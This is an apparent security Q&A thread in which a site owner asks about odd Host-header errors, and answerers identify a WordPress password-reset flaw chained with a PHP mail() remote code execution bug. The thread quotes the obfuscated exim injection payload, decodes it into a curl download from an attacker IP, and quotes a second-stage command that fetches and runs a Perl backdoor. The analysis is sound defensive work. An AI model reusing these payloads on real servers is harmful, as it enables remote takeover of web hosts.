We received a large number of error messages from our django application, like this:

Invalid HTTP_HOST header: ‘target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
Request information: 
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
COOKIES: No cookie data

I have not seen anything like it before, and I'm having trouble figuring out what it means. Could this be part of some exploit, or am I just being paranoid?


3 Answers 3


To expand on the answer provided by @Swashbuckler, CVE-2017-8295 specifically relates to WordPress password resets with the HOST HTTP header set.

When WordPress sends out password reset emails, they set the From/Return-Path to the value of $_SERVER['SERVER_NAME'] (in PHP). This value is set by some web servers (e.g. Apache) based on the HOST HTTP header.

This means that attackers can make WordPress send out emails that have From/Return-Path set to an email address of their choosing. If the email is bounced or responded to, it will happen to this malicious email address and - if the original email was attached - the attacker will then have access to the password reset link.

Actually abusing the exploit requires two factors to happen: the web server must read the hostname from the HOST header, and the email must be bounced or replied to. The former can be fixed by the server admin (if using Apache, by setting UseCanonicalName On), the latter requires the attacker to somehow block the victim's mail server (e.g. by DoS'ing it) or for the victim to reply to the email.

As pointed out by @TerrorBite, the attackers aren't actually targeting the password reset links, but only using the bug to exploit a bug in the PHP mail() function. See his answer below.

  • I think this is incorrect. If the attacker used a host header such as attacker.com, a password reset would bounce to attacker.com and he would gain access. However, with the given host header target(any -froot@localhost... this is not possible.
    – Sjoerd
    Jun 4, 2017 at 13:43
  • @Sjoerd Please read the last part of the answer: "As pointed out by TerrorBite, the attackers aren't actually targeting the password reset links, but only using the bug to exploit a bug in the PHP mail() function. See his answer below."
    – Birjolaxew
    Jun 4, 2017 at 17:22

Looks to me to be an attempt to exploit CVE-2017-8295.

Here's the summary of the CVE:

WordPress through 4.7.4 relies on the Host HTTP header for a password-reset e-mail message, which makes it easier for remote attackers to reset arbitrary passwords by making a crafted wp-login.php?action=lostpassword request and then arranging for this message to bounce or be resent, leading to transmission of the reset key to a mailbox on an attacker-controlled SMTP server. This is related to problematic use of the SERVER_NAME variable in wp-includes/pluggable.php in conjunction with the PHP mail function. Exploitation is not achievable in all cases because it requires at least one of the following: (1) the attacker can prevent the victim from receiving any e-mail messages for an extended period of time (such as 5 days), (2) the victim's e-mail system sends an autoresponse containing the original message, or (3) the victim manually composes a reply containing the original message.

Dennis says they're seeing a lot of requests, so the attacker is either trying to guess account names or has a list of account names (perhaps harvested in some manner) and is trying to reset the passwords on the accounts so he can gain control of them. The attacker is looking for the reset key as described in the CVE.

  • 17
    Then, could you also summarize what the exploit and the attacker's attempt is about?
    – Arminius
    Jun 2, 2017 at 14:05
  • 2
    Did you read the CVE?
    – Joe
    Jun 2, 2017 at 16:04
  • 10
    @Joe here we like information to be included in answers in case of link rot. A simple summary (as the answer below gave). I'm not saying this isn't an answer (it is) but it's a pretty poor quality one.
    – Tim
    Jun 2, 2017 at 16:57

This actually appears to be targeting the Remote Code Execution exploit CVE-2016-10033 in the php mail() function, using CVE-2017-8295 only as a way to inject exploit code into the mail() function.

The content of the HTTP host header is a string containing substitution values that are intended to be run by the exim4 mail-transfer agent. The substring functions appear to be intended to return a forward slash character and a space character (this is used to avoid Apache filtering out slash characters and to make sure that the spaces don't break up the argument to exim4's -be flag). If we substitute these in, we end up with a string that looks similar to this (IP address partly redacted):

target(any -froot@localhost -be ${run{/usr/bin/curl -o/tmp/rce 69.XX.XX.196/rce.txt}} null)

This would result in the exim4 ${run} function executing curl to download the file rce.txt.

Note that this only downloads the file. You can expect to see a second HTTP request with a similar but different Host header, which will invoke bash to execute the previously downloaded file.

The file rce.txt at this address, at the time of writing, contains another command line string as follows (URL and IP address partly redacted):

curl -o /tmp/wp.gif hXXp://46.XX.XX.42/website/strust.gif  && perl /tmp/wp.gif

The file strust.gif is detected as Backdoor:Perl/Shellbot.S, and an ISC SANS writeup of this threat is available.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .